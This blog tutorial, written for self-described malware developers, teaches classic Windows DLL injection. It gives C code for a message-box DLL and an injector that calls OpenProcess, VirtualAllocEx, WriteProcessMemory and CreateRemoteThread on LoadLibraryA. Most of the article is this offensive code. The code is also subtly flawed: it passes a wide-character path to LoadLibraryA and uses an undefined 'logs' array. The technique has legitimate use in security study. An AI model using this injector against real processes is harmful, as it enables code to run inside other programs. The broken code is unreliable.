DLL Injection
Apr 21, 2023
Oh hello fellow malware developers :D. Yes, I am back and if you have been taking a break from malware development (like me), GET BACK HERE and I promise you won't regret it.
What is a DLL
A DLL is a Dynamic Linked Library is Microsoft's implementation of the shared library concept. Basically, a DLL contains reusable code that is used by many applications.
So you might guess that we will inject our own DLL into a process, and that's exactly what we will do!
We will achieve that using the LoadLibraryA();
function that loads a module into the address space of the calling process.
Let's make a DLL
Since we now know what a DLL is, why not make one? In the end, it's a required thing to have when performing a DLL Injection right?
To make a DLL we will use the DllMain
as the DLL's entry point which is similar to main
of C files.
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
);
We can see the fwdReason
parameter that indicates why the DLL entry-point function is being called. This parameter can be one of the following values.
DLL_PROCESS_ATTACH
1
The DLL is being loaded into the current process as a result of the process starting up or as a result of a call to LoadLibrary.
DLL_PROCESS_DETACH
0
The DLL is being unloaded from the calling process because it was loaded unsuccessfully or the processes has either terminated or called FreeLibrary.
DLL_THREAD_ATTACH
2
The current process is creating a new thread. When this occurs, the entry-point function of all DLLs currently attached to the process is called
DLL_THREAD_DETACH 3
A thread is exiting cleanly.
In our case, we only need the DLL_PROCESS_ATTACH case. The code we will write for that specific case will be executed the moment our DLL gets loaded into a process.
Here is the DLL that we will use
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD nReason, LPVOID lpvReserved) {
switch (nReason) {
case DLL_PROCESS_ATTACH:
MessageBoxW(NULL, L"Skelly is here", L"Fear me", MB_RIGHT);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
Compiling
Let's compile our DLL using gcc
$ gcc -shared -o main.dll dll.c
And congrats! You have your own DLL ๐
The injection

Win32 API Calls
As we can see from the above diagram here are the calls we will do to the Win32 API
HANDLE OpenProcess(
[in] DWORD dwDesiredAccess,
[in] BOOL bInheritHandle,
[in] DWORD dwProcessId
);
HMODULE GetModuleHandleA(
[in, optional] LPCSTR lpModuleName
);
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
LPVOID VirtualAllocEx(
[in] HANDLE hProcess,
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);
HANDLE CreateRemoteThread(
[in] HANDLE hProcess,
[in] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] SIZE_T dwStackSize,
[in] LPTHREAD_START_ROUTINE lpStartAddress,
[in] LPVOID lpParameter,
[in] DWORD dwCreationFlags,
[out] LPDWORD lpThreadId
);
We can see that the DLL Injection is pretty similar to the shellcode injection we covered in the past article. Let's start by implementing a simple CLI (Command Like Interface)
#include <windows.h>
#include <stdio.h>
PVOID rBuffer;
HANDLE hProcess;
int main(int argc, char *argv[]) {
wchar_t dllPath[MAX_PATH] = L"";
size_t dllSize = sizeof(dllPath);
MultiByteToWideChar(CP_ACP, 0, argv[2], -1, dllPath, MAX_PATH); // 0, 0, argv[2], -1, dllPath[260], 260
DWORD PID = atoi(argv[1]);
}
Now we will attempt to get a handle on the process provided by the user.
hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
According to the documentation If we are successful we should get our handle, otherwise, the hProcess
variable will be set to NULL
.
if (hProcess != NULL) {
}
else {
printf("%s Failed to get handle to process [%ld]\nError: %ld", logs[1], PID, GetLastError());
}
From now on we will work inside the (hProcess != NULL)
block.
As we did with the shellcode injection we need to allocate some memory within the process.
[. . .]
rBuffer = VirtualAllocEx(hProcess, rBuffer, dllSize, (MEM_COMMIT | MEM_RESERVE), PAGE_READWRITE);
[. . .]
We will now write the DLL path to the allocated memory
[. . .]
WriteProcessMemory(hProcess, rBuffer, (LPVOID)dllPath, dllSize, NULL);
[. . .]
Now in order to load our DLL we need to get the address of the LoadLibraryA function which is located inside the Kernel32 module (a module used by the Windows kernel!). To achieve this we will make use of the GetModuleHandle function as well as the GetProcAddress function. Basically, we get a handle on the module that contains the function we want and request its address of it using GetProcAddress.
[. . .]
HMODULE hKernel32 = GetModuleHandle(TEXT("Kernel32"));
PTHREAD_START_ROUTINE startRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(hKernel32, TEXT("LoadLibraryA"));
[. . .]
Great! Now the only thing that we have to do is to start the remote thread and close the handle to the process.
[. . .]
CreateRemoteThread(hProcess, NULL, 0, startRoutine, rBuffer, 0, NULL);
CloseHandle(hProcess);
[. . .]
And that's pretty much it.
Here is a little PoC I put together using verbose logging. I also played a bit with the DLL and also added a message box on DLL_PROCESS_DETACH.

Congratulations! You just performed your first DLL Injection? Isn't that amazing?
Last updated